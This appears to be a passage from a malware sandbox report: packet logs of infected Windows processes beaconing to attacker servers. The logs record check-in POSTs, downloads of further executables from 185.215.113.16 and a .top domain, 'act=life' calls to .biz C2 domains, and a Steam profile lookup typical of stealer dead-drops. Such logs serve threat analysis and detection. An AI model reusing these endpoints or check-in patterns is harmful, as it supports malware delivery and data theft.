Dec 17, 2024 08:04:02.022255898 CET	2472	OUT	Data Raw: 48 5c 2f 77 41 74 76 39 4b 37 5c 2f 70 5c 2f 6e 6d 67 36 43 47 52 74 7a 49 69 5a 66 5c 2f 6a 34 78 5c 2f 4c 5c 2f 50 66 38 75 57 65 59 66 75 49 6d 5c 2f 39 31 5c 2f 54 38 66 39 4f 78 32 78 33 41 2b 6b 79 72 38 32 77 5a 52 5c 2f 38 41 50 2b 69 5c Data Ascii: H\/wAtv9K7\/p\/nmg6CGRtzIiZf\/j4x\/L\/Pf8uWeYfuIm\/91\/T8f9Ox2x3A+kyr82wZR\/8AP+i\/WiTLLM\/7vPleVz\/19f5PSg6CtJzGz7CnmcD+h\/Cj5Pk2Q7I\/9I\/5+v6f5\/Kn\/wDLR0n+T0jz\/rf84qHzH\/iS5\/1vm\/639x\/n6Vt7\/wDd\/EBmE+f55P8AnlL5nTH+f896f935P3fl\/wCqOJfb\
Dec 17, 2024 08:04:02.142096996 CET	4944	OUT	Data Raw: 4f 48 70 34 58 42 5a 6e 39 66 78 4f 47 78 47 4a 70 34 4c 45 38 54 59 50 42 59 66 69 69 76 4f 74 68 73 4c 69 61 69 2b 73 5a 6e 55 68 4f 46 47 72 65 54 63 57 6a 30 61 53 61 43 62 35 70 6c 52 5a 63 59 4a 4a 4c 48 6a 4f 42 6b 35 4f 42 36 64 75 63 63 Data Ascii: OHp4XBZn9fxOGxGJp4LE8TYPBYfiivOthsLiai+sZnUhOFGreTcWj0aSaCb5plRZcYJJLHjOBk5OB6ducc1CbW3f\/AFU+PZ8cf41r+EdD0fxbZeEJ5viv8HfA+rfEv456h+zh8KfCXj3VPila+JfiZ8YLHRfA+tReFfDs\/gr4QeO\/Bui\/2mvxF8Kabp2reP8Axj4L0ZtT1HZeahZ2MMt+vi3h74reBvENrpM1p4v8Ivf3sG
Dec 17, 2024 08:04:02.142137051 CET	2472	OUT	Data Raw: 37 52 62 42 72 69 39 74 2b 33 69 62 6a 6a 68 50 67 36 57 57 78 34 6e 7a 7a 42 35 4d 38 33 78 4c 77 6d 58 66 57 33 56 55 63 52 57 6a 42 31 4b 69 35 71 64 4f 70 47 6c 54 70 55 30 36 6c 61 76 58 64 4f 68 52 70 70 7a 71 31 49 52 54 61 34 2b 45 50 44 Data Ascii: 7RbBri9t+3ibjjhPg6WWx4nzzB5M83xLwmXfW3VUcRWjB1Ki5qdOpGlTpU06lavXdOhRppzq1IRTa4+EPDvjbj7+1f9TuHcfxA8lwix2ZxwKoueGw0qtOhTl7OrVpzr1a1erSoUMPh41sRiK9WnRo0qlScYv239lX47\/8ADM3x58DfG7\/hFz40PgkeJtvhj+2f+EeGqf8ACSeENf8ACTKda\/svWzYfY49efUFcaTe+e9otoU
Dec 17, 2024 08:04:04.468674898 CET	164	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Tue, 17 Dec 2024 07:04:04 GMT content-type: text/html; charset=utf-8 content-length: 26 Data Raw: 51 61 30 6c 30 53 4f 46 57 4e 6e 4f 43 72 52 4f 31 37 33 34 34 31 39 30 34 33 Data Ascii: Qa0l0SOFWNnOCrRO1734419043

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49965	185.215.113.43	80	8164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:04:03.884422064 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 35 34 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016543001&unit=246122658369
Dec 17, 2024 08:04:05.190083027 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 07:04:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49968	185.215.113.16	80	8164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:04:05.323072910 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 17, 2024 08:04:06.667346954 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 07:04:05 GMT Content-Type: application/octet-stream Content-Length: 1818112 Last-Modified: Tue, 17 Dec 2024 06:48:17 GMT Connection: keep-alive ETag: "67611eb1-1bbe00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 b0 00 00 00 00 00 00 00 10 48 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 48 00 00 04 00 00 b8 78 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL<_gH@@Hx@T0h 1 H@.rsrc X@.idata 0\@ )@^@myjwtahd@.8`@zbxhofxgH@.taggant0H"@
Dec 17, 2024 08:04:06.667429924 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 17, 2024 08:04:06.667469025 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 17, 2024 08:04:06.667505026 CET	372	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 17, 2024 08:04:06.667619944 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 17, 2024 08:04:06.667658091 CET	1236	IN	Data Raw: 95 67 15 f6 c9 a1 1c b0 ac ff 12 d9 b2 44 de 8b 21 6d e0 60 03 47 de f5 8c 35 4d eb 2e 34 46 25 f6 ba 14 96 f8 a5 13 5c bf 1e 70 e7 08 90 6b b2 84 6d c7 e7 ab 39 d5 26 12 4a d6 f9 9a ed ce dc f5 f3 0b 29 0d 33 ea f3 a2 c3 b4 fa 2a 5c dc 7e c0 23 Data Ascii: gD!m`G5M.4F%\pkm9&J)3\~#2iQaR5;CHTdCE]_;vT%S&K_~@U>PKP2]@NB`9Z]tbIefmKQ.M[aMi
Dec 17, 2024 08:04:06.667694092 CET	1236	IN	Data Raw: d1 7e 4c 0b 9d d7 04 a9 34 22 d1 4e 3c ed 48 c3 c4 39 af 5b 4d 3c 08 31 e3 94 84 ef f5 7d 67 49 f9 ff fa 34 ec 24 60 44 bf b2 c0 44 af d4 33 fe a4 52 23 29 c7 3d 91 04 b3 25 b1 f8 46 ab 18 1a ec 22 53 5b 44 18 7f 67 f0 3f 65 f8 8f 15 c4 3b e1 1e Data Ascii: ~L4"N<H9[M<1}gI4$`DD3R#)=%F"S[Dg?e;k^JInDV8]JClFaEiCE+w<g#/Yx]:L{/%[6c)H<[gnC`vH4Klb.7[4K_!\|ZP
Dec 17, 2024 08:04:06.667727947 CET	1236	IN	Data Raw: 90 16 fc fd 9d 10 71 f0 b4 fc 6b 38 58 91 55 f3 8a ea 6f ee d2 74 63 98 9c fe 8a ab c3 fb da 8c f5 d7 4f 92 80 88 20 61 42 9e 90 cf ae db df 17 3f 42 09 64 f5 c4 cc 58 dd 08 71 ae 5c 84 1b aa db c3 5d 4d 55 c6 93 4b 85 fb 0f 63 fe f6 d8 cd b0 53 Data Ascii: qk8XUotcO aB?BdXq\]MUKcS)r"$oyu[TO>g0mc}natH=a=,56+\|Rs^{>DL)p[&3;Qj5MBhU@}`'tgMv`W~d,+$>{m&jZY
Dec 17, 2024 08:04:06.667763948 CET	1236	IN	Data Raw: 1b 6b b1 fd 4e 70 6b 25 a1 cc 8d ed 0e 76 66 1c eb 32 86 65 cb 66 72 ff 3b d7 6c 07 44 c5 cd e9 42 86 9d 05 40 0e cc d4 e5 c5 73 4e 68 01 8b 57 a6 51 ef fc 1a ae 30 3d ac 02 8d bf d3 db ca 68 b7 ed 86 3d e4 10 90 47 08 4b 4d 85 10 79 65 b5 dc e2 Data Ascii: kNpk%vf2efr;lDB@sNhWQ0=h=GKMye]J'iuZY4o4,Af9c:QpWgdE7gf__G/R{j_ZNIalDwl_+e"jE0`HF<u2M3gl]f{
Dec 17, 2024 08:04:06.667799950 CET	1236	IN	Data Raw: 4c c3 db 60 a2 8a db 24 4f bf 6c 63 ff 3f 6c c0 e4 41 9e 1a 0c 5b e9 0f 06 75 00 2b b8 41 08 fa d2 89 00 34 e4 ab 1d 60 5f 82 a8 5b 68 81 57 25 43 2e 6f 29 9b dd 50 ce 8b 82 62 e0 d9 75 0f 18 0c 66 34 31 9b 17 13 e1 b0 38 db fe df 67 54 5e ee 30 Data Ascii: L`$Olc?lA[u+A4`_[hW%C.o)Pbuf418gT^0Ug\bvp-#Yd6'0=aKf6GY{"R{w~&1N*Lg_oZtB>L"n;%CFPKD8%UWeb)R{?HdOrh-
Dec 17, 2024 08:04:06.787986040 CET	776	IN	Data Raw: d1 7f d9 09 65 88 5d 43 ee 8f 54 b2 19 69 bd 2e 4f 77 9d 13 c2 15 8b e8 fe 7a 93 a0 22 dd fd e5 1a 23 af ef 22 76 ed cc 1b e6 99 03 28 b8 0c 01 f2 ed 94 60 09 14 73 43 ec 46 93 de 0a 7e 91 23 cb 0a 4c a5 2b 02 13 4c 7f 6a ad 53 d3 78 cb 8c ee f3 Data Ascii: e]CTi.Owz"#"v(`sCF~#L+LjSxk>VGtb?sg1X2JaaMD?5!M+:NNs8KL8YJv,/oOM.)j`/`m6.c>D0<k,[?6Z(C\|!A2Cg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49969	104.154.220.71	80	4480	C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:04:05.390889883 CET	123	OUT	GET /vJNDHPUXPCEIZZjTPbLp1734325090?argument=Qa0l0SOFWNnOCrRO1734419043 HTTP/1.1 Host: home.fivetk5pn.top Accept: /
Dec 17, 2024 08:04:06.898452044 CET	1236	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Tue, 17 Dec 2024 07:04:06 GMT content-type: application/octet-stream content-length: 10816560 content-disposition: attachment; filename="5VzUKxynQgTDfd;" last-modified: Mon, 16 Dec 2024 04:58:11 GMT cache-control: no-cache etag: "1734325091.0903454-10816560-873928378" Data Raw: 27 2a ef 7e fc 03 e2 13 8b 2b 8e d2 9c 96 fe 99 bb 6f 9e be 0d 93 8e 51 95 f6 5c c1 cc e1 81 a1 65 a5 20 ad d3 7b 01 c7 7d 97 21 98 8f 30 3e 9e 70 41 a8 01 35 4b d6 ab 6f 38 64 ba 5e 6d 85 00 6c b8 83 f2 6a ac 1c 3e 11 b6 af 3f 8a f9 fa 79 7f f8 2b ff 29 43 cc 6d b2 2a fa d8 2f d6 71 ec b8 8c dd 71 7d d5 27 74 1a 35 af 3b e3 15 c5 5a ee fe 03 9b e9 ac 4e ff 2e 4f 60 ff ce ff 70 7a ce ae ce 62 c2 cb 94 54 11 91 02 c1 39 9a ca 02 83 5a 50 22 5d 7e f9 08 99 38 85 c6 94 99 05 2a 3b 94 f5 61 72 35 63 a6 95 f8 e2 0e a5 51 ab ad be 41 2b ca eb 69 aa e0 c0 f6 26 55 b4 4d 34 7d 53 a7 b7 97 3d 1a 33 fe ef fa b2 63 4f 4c c0 70 b7 85 eb fb aa 5b 13 22 bc e6 bb 51 7a 71 22 64 c3 1d d0 df 94 eb 5b 00 ac 34 15 43 13 91 1e 5a 6a ae 1e 38 b0 e4 10 8c 88 58 94 ba d8 d9 3f 4f 6c 08 09 06 a0 63 8c 24 11 3e a6 ab 09 e1 75 96 42 0f 2f 5a 6c f1 eb e0 6b 09 87 ea 71 67 83 ca 39 3b da 12 f6 50 71 64 94 51 5f bc c6 27 0f 36 2a 8f 4b 22 f5 1b 4d db 27 2f 96 08 c8 a3 a9 43 13 9d 11 65 da 84 cd a4 b2 ca fd 57 6d 77 d2 17 5a 76 [TRUNCATED] Data Ascii: '~+oQ\e {}!0>pA5Ko8d^mlj>?y+)Cm/qq}'t5;ZN.O`pzbT9ZP"]~8;ar5cQA+i&UM4}S=3cOLp["Qzq"d[4CZj8X?Olc$>uB/Zlkqg9;PqdQ_'6K"M'/CeWmwZvTQ'N"Zz_i,][kb,YYztW/h%A<3PpY}Ru(y=PO1v9Fv<TZoV~/'KSl@D jo,;n\m%SdhSLPG:<H+.@{gbkCn\|ibs1g~G"ohxJ6AeOK+<]n92{I=_8(Xu>gMnYt)E:_35K!\}Mwq$>73W[z5D~GTLAY2enxQK$~+lA_[4Rbs?^/78}0CfKNAcUQSZdNxZfM5LfiIyr,=mP8I6nb-\|>T0=)R3^x[N7R3_\|v`>=So>
Dec 17, 2024 08:04:06.898559093 CET	1236	IN	Data Raw: fd 69 ab 67 3d 2a 0a 0f 3f 89 f5 8f 63 09 c1 b4 b3 61 5a 0d 91 77 f3 58 2a f4 f4 86 bd 95 6a 7c b1 2e 35 03 ec 55 f9 d3 0c 6f a7 9a a0 cf 5b 1b 2c 97 95 97 77 57 19 11 6f d3 f3 7c 9f f9 25 45 de 37 c1 37 fe 78 2f ae a7 7c a7 50 a9 b7 60 04 bd ca Data Ascii: ig=?caZwXj\|.5Uo[,wWo\|%E77x/\|P`uDeY(^AgR!3XK#OXs^T;jG/\g)Vnc`f;B'Z4[cK3542XUfzq\|rtPgal>jR
Dec 17, 2024 08:04:06.898597002 CET	1236	IN	Data Raw: aa 0f 41 7f e0 ec ec a0 4f 20 62 e0 ba 7a c5 d4 b1 06 7a 2b 23 88 ae bb 97 17 70 71 54 96 4d b7 27 5d 48 5d c7 d7 b6 a2 f7 76 2e 43 aa a4 2f af c2 93 e3 1b 26 eb 2a 0a bd 96 5a 64 5b 21 1d c5 ef c9 dd af 8f 9b 8e 86 20 5c b4 c9 81 90 3e 4e 33 03 Data Ascii: AO bzz+#pqTM']H]v.C/&*Zd[! \>N3yn\|)GCnN\|UdHco-GASd-nBdM]NJz6<1+QtUq3}e{QSUK]<wW:pNmQH!y,c?J%Q\
Dec 17, 2024 08:04:06.898680925 CET	552	IN	Data Raw: 84 4c 6b 00 d0 b3 30 a1 38 6a 30 17 80 9e 06 3d 87 87 71 30 31 b8 31 90 66 1f af a4 7d 67 1e 17 6c ae 75 d6 04 5d a3 5b 7f 79 88 5b ab f0 8a 06 4c fd b7 4b a0 7d d7 a7 c5 5c cc 72 75 c4 6b 77 d4 cf 53 bd bc 13 c9 67 ab 14 4d 14 20 37 02 00 f0 b5 Data Ascii: Lk08j0=q011f}glu][y[LK}\rukwSgM 7Z#&5{4a.->aCY5PiZT!bK+hZssbw7^2P"Ef!\tyjF+6q+n5RqbjKG&R;9,u
Dec 17, 2024 08:04:06.898716927 CET	1236	IN	Data Raw: 84 86 63 ec 0b fa f5 4a 59 b6 54 d5 14 35 24 12 bd b8 e8 bd 4e 8b b1 82 b6 d4 34 7f f1 1a ca 82 6a ce 93 5b 9e b1 96 2b e5 1a 93 5c 38 a9 87 4b c6 6b d4 ae 76 d9 f2 63 f0 b1 c8 01 17 63 54 8e d7 4b 88 37 b8 60 d7 af eb 39 ab 84 a5 a9 fe a8 fc 4a Data Ascii: cJYT5$N4j[+\8KkvccTK7`9JMKl)p@rQ5P+gN`,>W]c4..;2dOh9xub=?wgF-^hGZ0K`*S<8GzK2>)5qF[f#!i#\|Jd
Dec 17, 2024 08:04:06.898751020 CET	1236	IN	Data Raw: bf 28 11 49 76 81 d5 23 ec f5 1c e8 d9 a4 75 73 62 90 c1 f1 b8 46 92 37 6a 04 9f 40 57 f2 56 52 f9 c3 64 86 03 14 db 13 d0 1a ff 26 fc 48 73 19 8e 19 a9 e8 20 7a 7d b5 27 d7 ca a1 05 0d 44 4e cf 2b b3 9d b0 23 0a 33 f0 23 b9 d7 46 70 3a f2 a7 be Data Ascii: (Iv#usbF7j@WVRd&Hs z}'DN+#3#Fp:uf@"^:8!1R$5]^{KE0Pq\Oh]&ot}D$gf;})rBo9Bf\|_5IL?RP
Dec 17, 2024 08:04:06.898787975 CET	1236	IN	Data Raw: 1d 5c 30 74 fa 75 b9 81 71 b8 f6 99 c5 c7 aa ff 9b 21 49 57 87 45 ef 18 5e db 60 c6 53 1e 66 6a 73 e4 01 fc 88 80 9d b1 93 45 1a 75 fd c5 01 93 5c cc db 5a 53 0c 18 9b 84 45 88 e9 d8 86 b3 39 62 8d 91 c2 2e a3 37 63 9d 6d aa 54 d2 3f cc 68 da bf Data Ascii: \0tuq!IWE^`SfjsEu\ZSE9b.7cmT?heB-0{1O=[1Qs:ba. e=H%_,xpYXp8-5E'^J@/TW9G<!"VWH:W+b]9R.E1ve^`~^dL`^E>
Dec 17, 2024 08:04:06.898830891 CET	1236	IN	Data Raw: 55 2f 93 d6 e0 bd 0e c5 3b 5f db 5f 72 42 f6 18 32 60 43 47 95 8a 1a 09 d7 96 02 9b 96 55 06 9c 6d 18 07 ef 1c 52 30 18 6a 83 80 82 ec 5a d3 42 40 6b 42 b7 14 b2 98 6c 40 ec 48 1f a2 1a e4 bf cf aa b4 32 f2 15 31 71 2f b4 ca 38 4d 69 31 38 40 c5 Data Ascii: U/;__rB2`CGUmR0jZB@kBl@H21q/8Mi18@g)?usaj6z}G3""CnzA'jET<ap$#le#HI~8T6G$BrL\,gz]vWaVt{B<G[aKi6'?wb
Dec 17, 2024 08:04:06.898864985 CET	736	IN	Data Raw: 1c 45 24 04 a6 5c a2 69 74 b1 ed 54 47 cb b9 77 1c 91 ec dc fc 29 33 af 4f 61 77 b4 33 f4 61 8d b3 a0 81 1f b3 b4 bf da c6 37 55 ce 37 69 33 da 48 a9 c5 3a 31 82 ab e5 0a 30 3d 7e 32 e7 6c 91 b0 a6 2b ef a8 f2 76 de 0e b7 0c 13 b5 fb 6c 4e 09 7a Data Ascii: E$\itTGw)3Oaw3a7U7i3H:10=~2l+vlNz+mP9<\.W\|hy=q>xw;Y):<EQ6;pB,cE, ej\BM?7'mN]!{%Afg@AnfN$~B&)XNk
Dec 17, 2024 08:04:06.900150061 CET	1236	IN	Data Raw: f6 bc 98 5b c7 8d ea 3b 5e 35 5e 32 0e d8 15 57 80 dc 3e 94 83 5b 1a 79 3a 5b 98 d7 4d 1e fb dd 5f 87 f5 85 9d b8 65 5a 65 85 01 a8 0f c3 c9 82 2b 4b 71 ce 7e f8 dc fe 67 d3 f2 46 15 54 50 7e 90 74 d4 03 c8 9f 6f 72 ee 6f 30 03 b8 c9 9e 5c 31 4a Data Ascii: [;^5^2W>[y:[M_eZe+Kq~gFTP~toro0\1Ja+&,]\0lgSI`HYG[+3O1h~;D8(.<@J+{&6.6P]mXUImNNl%e9Zix:MN<1PFf
Dec 17, 2024 08:04:07.018949032 CET	1236	IN	Data Raw: 1f 70 9f 66 63 7a 06 2d 86 13 bd 22 02 4a a6 8d 05 84 75 1c 20 85 10 f2 5f 99 24 18 30 c3 36 b4 49 c2 5c c5 14 1e 9f ac 2c 21 fe 79 5c 62 aa 41 fc 85 d4 47 ea e4 a9 d7 29 7d 3a de 2d fb 40 f3 4d c0 53 d1 45 c7 59 be 42 53 01 48 ab d9 4c c8 aa cb Data Ascii: pfcz-"Ju _$06I\,!y\bAG)}:-@MSEYBSHLD__jMMqWfkxur!dF]E@flj84Nbc+27-j1&B/5k?Ym'Kc]'GWA9O 2+a3E"4W\|!

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49865	178.62.201.34	443	7476	C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 07:03:25 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: immureprech.biz
2024-12-17 07:03:25 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-17 07:03:26 UTC	94	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 07:03:26 GMT Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49873	104.131.68.180	443	7476	C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 07:03:29 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: deafeninggeh.biz
2024-12-17 07:03:29 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-17 07:03:29 UTC	94	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 07:03:29 GMT Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49883	104.121.10.34	443	7476	C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 07:03:32 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-12-17 07:03:33 UTC	1905	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Tue, 17 Dec 2024 07:03:33 GMT Content-Length: 35131 Connection: close Set-Cookie: sessionid=d062f5a762356d918d474bfb; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=None
2024-12-17 07:03:33 UTC	14479	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
2024-12-17 07:03:33 UTC	16384	IN	Data Raw: 6d 75 6e 69 74 79 2e 63 6f 6d 2f 3f 73 75 62 73 65 63 74 69 6f 6e 3d 62 72 6f 61 64 63 61 73 74 73 22 3e 0a 09 09 09 09 09 09 42 72 6f 61 64 63 61 73 74 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 62 6f 75 74 2f 22 3e 0a 09 09 09 09 41 62 6f 75 74 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 65 6e 2f 22 3e 0a 09 09 09 09 53 55 Data Ascii: munity.com/?subsection=broadcasts">Broadcasts</a></div><a class="menuitem " href="https://store.steampowered.com/about/">About</a><a class="menuitem " href="https://help.steampowered.com/en/">SU
2024-12-17 07:03:33 UTC	3768	IN	Data Raw: 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 61 63 74 69 6f 6e 73 22 3e 0a 09 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 73 75 6d 6d 61 72 79 22 3e 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 65 72 73 6f 6e 61 5f 6e 61 6d 65 20 70 65 72 73 6f 6e 61 5f 6e 61 6d 65 5f 73 70 61 63 65 72 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 34 70 78 3b 22 3e 0a 09 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 61 63 74 75 61 6c 5f 70 65 72 Data Ascii: </a></div><div class="profile_header_actions"></div></div><div class="profile_header_summary"><div class="persona_name persona_name_spacer" style="font-size: 24px;"><span class="actual_per
